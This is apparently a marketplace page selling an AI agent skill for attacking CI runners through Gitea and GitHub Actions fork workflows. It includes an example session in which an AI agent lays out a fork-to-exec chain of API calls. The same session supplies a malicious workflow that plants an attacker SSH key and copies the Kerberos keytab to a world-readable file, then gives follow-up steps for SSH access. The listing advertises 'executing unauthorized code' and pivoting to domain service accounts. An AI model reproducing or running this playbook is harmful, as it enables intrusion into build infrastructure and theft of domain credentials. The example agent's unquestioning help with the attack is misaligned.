Works with the AI Agents you already use

    Claude CodeClaude CodeCursorCursorCodex CLICodex CLIDeepSeekDeepSeekMuseMuse+22 more

    ci runner abuse

    1

    Automate fork-to-exec attacks on Gitea and GitHub Actions runners to escalate privileges and extract domain credentials.

    $5

    Secure checkout via Stripe

    Money-back guarantee

    Converts to your local currency at checkout

    Security scanned
    ci runner abuse

    ci runner abuse

    Example session with this skill installed

    I have access to an internal Gitea instance. I need to get code execution on the 'build-runner-01' box using a fork-to-exec technique. Walk me through the API calls.

    • Read your context and instructions
    • Compiled the ci runner abuse

    Successfully outlined the fork-to-exec exploitation chain for the internal Gitea runner.

    Gitea Runner Abuse Execution Plan

    StepActionAPI Endpoint / MethodPayload Notes
    1Identity CheckGET /api/v1/userVerify AD-to-Git mapping via SPNEGO
    2Fork RepoPOST /repos/{org}/{repo}/forksSend {}, requires non-empty body
    3Enable ActionsPATCH /repos/{forkowner}/{repo}{"has_actions":true}
    4Upload WorkflowPOST /repos/{forkowner}/{repo}/contents/.gitea/workflows/pwn.ymlBase64 encode the YAML payload
    5Create PRPOST /repos/{org}/{repo}/pullsEnsure fork is ahead of upstream
    6Trigger ExecPOST /repos/{org}/{repo}/pulls/{id}/reviewsEvent must be COMMENT

    Malicious Workflow Configuration

    name: persistence
    on:
      pull_request_review_comment:
        types: [created]
    jobs:
      exploit:
        runs-on: build-runner-01
        steps:
          - run: |
              mkdir -p ~/.ssh
              echo "ssh-ed25519 AAAAC3N... attacker@proxy" >> ~/.ssh/authorized_keys
              cp /etc/krb5.keytab /tmp/runner.keytab
              chmod 644 /tmp/runner.keytab
    

    Next steps

    1. Run kinit with the compromised user to establish the SPNEGO session for curl.
    2. Monitor GET /repos/{forkowner}/{repo}/actions/runs to verify the job leaves the queued state.
    3. Attempt SSH connection to the runner IP using the planted public key.

    Connects securely to your tools. The creator never sees your data.

    About this skill

    The problem

    CI/CD pipelines often execute workflows from forks, allowing users to gain unauthorized code execution on self-hosted runners. Internal runners frequently run as service accounts with elevated domain privileges or stored Kerberos keytabs, creating a high-value pivot point.

    What it does

    • Identifies internal Gitea and GitHub Actions runners via API discovery and identity mapping.
    • Diagnoses runner scope starvation to confirm if a runner will execute jobs from forked repositories.
    • Automates the fork-to-exec chain by configuring fork actions and deploying malicious YAML workflows.
    • Provides precise API trigger sequences for events like pull_request_review_comment to bypass common execution failures.
    • Extracts high-value artifacts including Kerberos keytabs and SSH authorized keys from the runner context.

    Why this beats prompting it yourself

    Generic LLMs often miss the technical nuances of CI/CD event triggers, such as the difference between issue comments and review comments which can stall an engagement for hours. This skill provides a verified end-to-end flow that accounts for common pitfalls like fork-scope starvation and specific API payload requirements that standard prompts overlook.

    Use cases

    • Executing unauthorized code on internal self-hosted runners to capture service account flags.
    • Pivoting from a low-privilege git user to an AD-joined service account via runner keytabs.
    • Testing the security posture of internal Gitea instances against fork-based workflow abuse.

    Known limitations

    Requires valid credentials or SPNEGO authentication to the internal git server. Success depends on the runner being configured to process fork-created jobs.

    Find more skills like this on the Claude Skills Marketplace, the Codex Skills Marketplace and the Gemini Skills Marketplace, or browse Claude Skills for Security.

    Requires authentication to the target git server. Workflows will fail if the runner is strictly scoped to the upstream repository only.

    How to use

    1. 1

      Connect your agent to the Agensi MCP

      Copy the prompt and paste it into Claude, ChatGPT, Cursor or any agent that supports MCP. It sets up the connection for you. Manual setup

    2. 2

      Sign in to Agensi

      Your agent shows a sign-in link. Sign in and click Allow.

    3. 3

      Ask for what you need

      Your agent loads this skill and uses it on your task. It always asks before buying a skill.

    Reviews

    No reviews yet

    Be one of the first to try it. Every listed skill goes through the trust checks below.

    Security scanned

    Checked by our 8-point scan before listing

    Fresh listing

    Recently published to Agensi

    Money-back guarantee

    Doesn't do what its page promises? You get your money back.

    Trust & safety

    Security scan

    Security scan passed 2 months ago

    Permissions

    Network Access
    Listed2 months ago

    What's inside

    Frequently Asked Questions

    This skill automates the identification and exploitation of misconfigured GitHub Actions and Gitea runners, specifically targeting the 'fork-to-exec' vulnerability to capture service account credentials and Kerberos keytabs.

    The skill requires valid credentials or SPNEGO authentication to an internal git server and assumes the target runner is configured to process jobs from forked repositories.

    Unlike generic prompts, this skill handles the specific API trigger sequences and payload requirements (such as pull_request_review_comment) that are necessary to bypass execution failures in complex CI/CD environments.

    The purchase includes the complete automated workflow for discovery, diagnosis, and exploitation, along with documentation on executing the fork-to-exec chain across Gitea and GitHub platforms.

    Yes, this skill is designed to work with any AI agent that supports standard security automation frameworks and has the capability to interact with Git-based APIs and YAML-based workflows.

    As CI/CD platforms update their security policies, this skill is periodically refined to ensure the API trigger sequences and discovery methods remain effective against the latest versions of Gitea and GitHub Actions.

    New in Security